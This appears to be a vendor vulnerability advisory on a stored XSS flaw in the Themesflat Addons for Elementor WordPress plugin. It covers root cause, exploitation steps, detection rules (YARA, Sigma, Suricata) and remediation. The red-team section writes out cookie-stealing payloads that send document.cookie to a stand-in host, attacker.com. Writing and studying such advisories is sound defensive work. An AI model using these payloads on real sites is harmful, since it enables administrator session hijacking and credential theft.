CVE-2024-49310
Executive Summary
CVE-2024-49310 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons for Elementor WordPress plugin (versions <= 2.2.0). This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability resides in the improper neutralization of user-supplied input during web page generation. As a WordPress plugin vulnerability, it affects the WordPress ecosystem directly and is not related to server software like Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Themesflat Addons for Elementor WordPress plugin. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation through malicious plugin updates or tampered copies.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level WordPress user)
- User Interaction: Required (admin must view the compromised page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. Exploitation requires authenticated access, but the low complexity and potential for stored payloads make it a viable vector for targeted attacks against WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the themesflat-addons-for-elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to properly sanitize or escape user-supplied input before rendering it in the HTML output. An attacker with contributor-level access can inject malicious JavaScript into a post or page via a widget parameter (e.g., a text field, URL, or attribute). When the page is saved and later viewed by an administrator, the script executes in the context of the admin's session.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()). This allows unescaped HTML/JavaScript to be stored in the database and rendered on the frontend.
Attack Flow:
- Attacker logs in as a contributor or higher.
- Creates or edits a post/page using Elementor with a Themesflat widget.
- Injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into an unsanitized field. - Publishes or saves the post.
- Administrator visits the post, triggering the script.
- Script executes, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the admin.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.2.0):
// Example from a widget output function
echo '<div class="themesflat-widget">' . $instance['title'] . '</div>';
Here, $instance['title'] is output directly without escaping.
Patched Code (Hypothetical):
// Properly escaped output
echo '<div class="themesflat-widget">' . esc_html( $instance['title'] ) . '</div>';
The patched version uses esc_html() to neutralize HTML/JavaScript.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Themesflat Addons for Elementor <= 2.2.0
- Contributor-level account or higher
Step-by-Step Exploitation:
- Log in to WordPress as a contributor.
- Create a new post and edit with Elementor.
- Add a Themesflat widget (e.g., "Heading" or "Text").
- In the widget's title or content field, inject:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save and publish the post.
- Wait for an admin to view the post, or send a direct link to the admin.
Alternative Payload (Session Hijacking):
<img src=x onerror="fetch('https://attacker.com/steal?data='+document.cookie)">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual post content containing
<script>tags. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Review user activity for contributors creating posts with suspicious HTML.
Hardening:
- Disable the plugin until a patch is available.
- Restrict contributor-level accounts to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
File Indicators:
- Modified post/page content in the
wp_poststable containing<script>tags. - Presence of obfuscated JavaScript in widget fields.
- Modified post/page content in the
Network Indicators:
- Outbound HTTP requests to unknown domains from the WordPress server.
- Referer headers containing the vulnerable WordPress site.
Log Indicators:
- WordPress audit logs showing post creation/editing by low-privilege users with unusual content.
- Web server logs with
POSTrequests to/wp-admin/admin-ajax.phpcontaining XSS payloads.
Detection Engineering
YARA Rule
rule Detect_Themesflat_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting Themesflat Addons for Elementor"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-49310"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$plugin = "themesflat-addons-for-elementor"
condition:
any of ($xss*) and $plugin
}
Sigma Rule
title: Stored XSS via Themesflat Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created via Themesflat Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=elementor_ajax'
sc-status: 200
keywords:
- '<script'
- 'onerror'
- 'onload'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in posts by administrators
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49310 Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review and clean any posts/pages created by low-privilege users for malicious content.
- Reset passwords for all administrator accounts if compromise is suspected.
Long-Term Fix:
- Apply the official patch from Themesflat when available.
- Implement input validation and output escaping in custom WordPress development.
- Regularly update all plugins and themes.
Workarounds:
- Use a Web Application Firewall (WAF) with XSS rules.
- Restrict contributor roles to trusted users only.
- Enable WordPress's built-in
DISALLOW_UNFILTERED_HTMLconstant inwp-config.php:define('DISALLOW_UNFILTERED_HTML', true);
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.